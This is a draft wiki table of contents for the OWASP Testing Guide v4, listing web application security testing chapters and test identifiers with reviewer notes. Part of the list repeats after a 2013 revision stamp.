==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.6.1 Oracle Testing]]

[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.6.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.15.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]

[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]

[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]

[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]

[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]

[[Testing Web Messaging|4.15.6 Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]

[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]

[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> Amro AlOlaqi]

----

[[Category:OWASP Testing Project]]

OWASP Testing Guide v4 Table of Contents

2013-09-05T13:37:16Z

Jgaliana:

__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 15th February 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

